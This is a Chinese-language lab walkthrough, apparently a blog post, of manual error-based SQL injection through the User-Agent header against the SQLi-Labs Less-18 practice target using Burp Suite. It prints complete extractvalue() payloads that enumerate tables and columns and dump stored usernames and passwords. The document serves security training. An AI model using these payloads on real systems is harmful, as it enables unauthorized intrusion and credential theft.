访问SQLi-Labs网站

在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-11。访问的URL为:

http://[靶机IP]/sqli-labs/Less-18/

利用Burpsuite工具抓包

启动Burpsuite

在攻击机Pentest-Atk的桌面文件夹Burp中,打开Burpsuite程序

设置Burpsuite的代理服务端口

在Burpsuite软件界面上选择选项卡“Proxy”->”Options”,在Proxy Listeners模块下,将Burpsuite的代理服务器端口设置为8080(此为Burpsuite默认的服务端口)

开启Burpsuite的代理拦截功能

在Burpsuite软件界面上选择选项卡“Proxy”->”Intercept”,将拦截开关按钮的状态设置为“Intercept is on”。

设置Firefox代理

回到Firefox浏览器界面,鼠标右键点击浏览器地址栏右方的FoxyProxy插件图标按钮,在弹出的菜单中选择全部URLs启用代理服务器127.0.0.1:8080

代理设置成功后,FoxyProxy插件图标会变蓝

利用Burpsuite工具拦截HTTP请求包

在FireFox浏览器访问的Less-18登录验证界面,输入用户名admin、密码任意,然后点击Subnit按钮

此时Burpsuite会拦截到HTTP请求包:

将Burpsuite工具拦截到的HTTP请求包发送至Repeater模块

选中拦截到的HTTP请求包全部内容,点击右键,选中Send to Repeater,将其发送给Burpsuite的Repeater模块。

发送成功后,在Burpsuite的Repeater选项卡下能够看到刚刚拦截的HTTP请求包内容。

后续中,可以在Repeater选项卡中的Request栏中设置注入的payload,设置完成后点击Send发送吧,并在Response观察服务器的响应。

寻找注入点

在原始HTTP请求包的头不字段User-Agent末尾添加单引号。

User-Agent:Mozilla/5.0........Firefox/97.0'

报错!

在原始HTTP请求包的头部字段User-Agent末尾添加如下符号

User-Agent:Mozilla/5.0........Firefox/97.0','','')#

服务器端未报错!

由此判断,目标网站在POST参数处存在字符型注入点。

注意,如果在服务器端(靶机)上查看Less-18的PHP代码,会发现

这也是基于insert的注入场景。

获取网站当前所在数据库的库名

使用以下payload获取网站当前所在数据库的库名:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0' and extractvalue(1,concat('~',database())),'','')#

显示结果为security。

 获取数据库security的全部表名

使用以下payload获取数据库security的全部表名:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))),'','')#

结果显示有一个名为users的表这其中可能存放网站用户的基本信息。

注意:extractvalue()函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全。因此,有时需要limit来做分行显示。

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1))),'','')#

显示security库中的第1张表的名字

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1))),'','')#

显示security库中的第2张表的名字

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 2,1))),'','')#

显示security库中的第3张表的名字

.........

获取users表的全部字段名

使用以下payload获取users表的全部字段名:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),'','')#

结果显示,users表中有id、username和password三个字段。

同时,为避免错误信息太长导致显示不全,有时需要limit来做分行显示。

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'','')#

显示users表中的第1个字段的名字

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))),'','')#

显示users表中的第2个字段的名字

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1))),'','')#

显示users表中的第3个字段的名字

获取users表 id、username和password字段的全部值

由于users表中存放着多组用户名和密码的数据每次智能显示一组数据,我们可以通过limit M,N的方式逐条显示。

显示第1组数据

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1))),'','')#

显示结果为Dump,Dump。

显示第2组数据

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 1,1))),'','')#

显示结果为Angelina,I-like-you。

显示第3组数据

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 2,1))),'','')#

显示结果为Dummy,p@ssword。

由此类推,成功实现了对存在HTTP头部注入点网站的手工SQL注入。

SQL注入-HTTP头部注入相关推荐

  1. SOL注入——HTTP头部注入(2)(七)

    本章目的 普及HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理.方法及基本流程. HTTPHeader概述 ...

  2. SQL注入--HTTP头部注入

    实验目的 理解HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义 和作用,掌握HTTP头部注入的原理.方法及基本流程. 实验原理 有时候,后台开 ...

  3. SQL注入——HTTP头部注入

    实验目的 理解HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义 和作用,掌握HTTP头部注入的原理.方法及基本流程. 实验原理 有时候,后台开 ...

  4. SOL注入——HTTP头部注入(六)

    本章目的 普及HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理.方法及基本流程. HTTPHeader概述 ...

  5. 注入攻击-SQL注入和代码注入

    注入攻击 OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险.实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功.虽然这是最明显的组合关系,但是注入攻击带来的不仅 ...

  6. SQL注入简介和注入方法教学

    文章目录 SQL注入原理 SQL注入危害 SQL注入判断 SQL注入的分类 按参数类型分类 按数据库返回结果分类 按注入点位置分类 按参数类型分类 数字型 字符型 搜索型 按数据库返回结果分类 回显注 ...

  7. 网络安全——HTTP头部注入

    一.HTTP头部注入概述 1.HTTP工作原理 2.HTTP报文类型 (1).请求报文 (2).响应报文 3.HTTP头部内容 referer主要用来统计页面访问次数 二.HTTP头部注入 1.原理: ...

  8. SQL注入之MySQL注入学习笔记(二)

    补充:MySQL注释方法 文章目录 MySQL注入 基本介绍 字符型 数字型 搜索型 Cookie注入 HTTP头注入 具体实例 数字型注入 一般类型 被单引号包裹起来的 双引号加小括号包裹 两个括号 ...

  9. SQL注入天书-ASP注入漏洞全接触

    引     言                 随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序 ...

最新文章

  1. 协作机器人的江湖:把人放在首位
  2. BRCM5.02编译一 : 缺少工具链路
  3. PHP CRC16 校验码的算法怎么使用
  4. 【数据分析+建模案例】基于所给数据集对饭店流量指标进行预测
  5. C++获取文件夹下所有文件名
  6. 用-force –opengl 指令_OpenGL-使用Tessellation技术绘制Cubic Bézier Patches
  7. 根据最大值和最小值获取对应的单元格值
  8. oracle的视图表,oracle 常用视图和表
  9. python读取html中body_python批量获取html内body内容的实例
  10. 2021年,Web前端还好找工作吗?
  11. caffe 使用小技巧
  12. Authentication failed for 错误
  13. 农业大数据中心建设可行性方案
  14. python爬虫requests设置代理ip_干货|Python爬虫如何设置代理IP
  15. 【Algorithm】算法设计与分析(第二版)- 王红梅 - JAVA实现:3.2 分式化简。设计算法,将一个给定的真分数化简为最简分数形式。例如,将6/8化简为3/4
  16. 小心金蝶专业版16.0后门木马勒索后门程序kissme.dll文件
  17. speedoffice(Word)怎么添加页码
  18. C#图片加载与内存释放
  19. kotlin的入口函数
  20. Lightbox改造——支持滚轮缩放

热门文章

  1. 研究生学习与生活(六)
  2. PotPlayer下载与使用
  3. java基于springboot+vue的汉服推广与交流平台
  4. 企业编码生成系统生成25位混合产品序列号防伪码
  5. meta标签的作用是什么
  6. PHP+阿里云直播功能
  7. 去耦(一)单颗去耦电容的设计
  8. [转]unity3d使用winphone平台的问题
  9. 为什么说计算机内存不够,excel为什么总是内存不够
  10. 面试官:什么是响应式设计?响应式设计的基本原理是什么?如何做?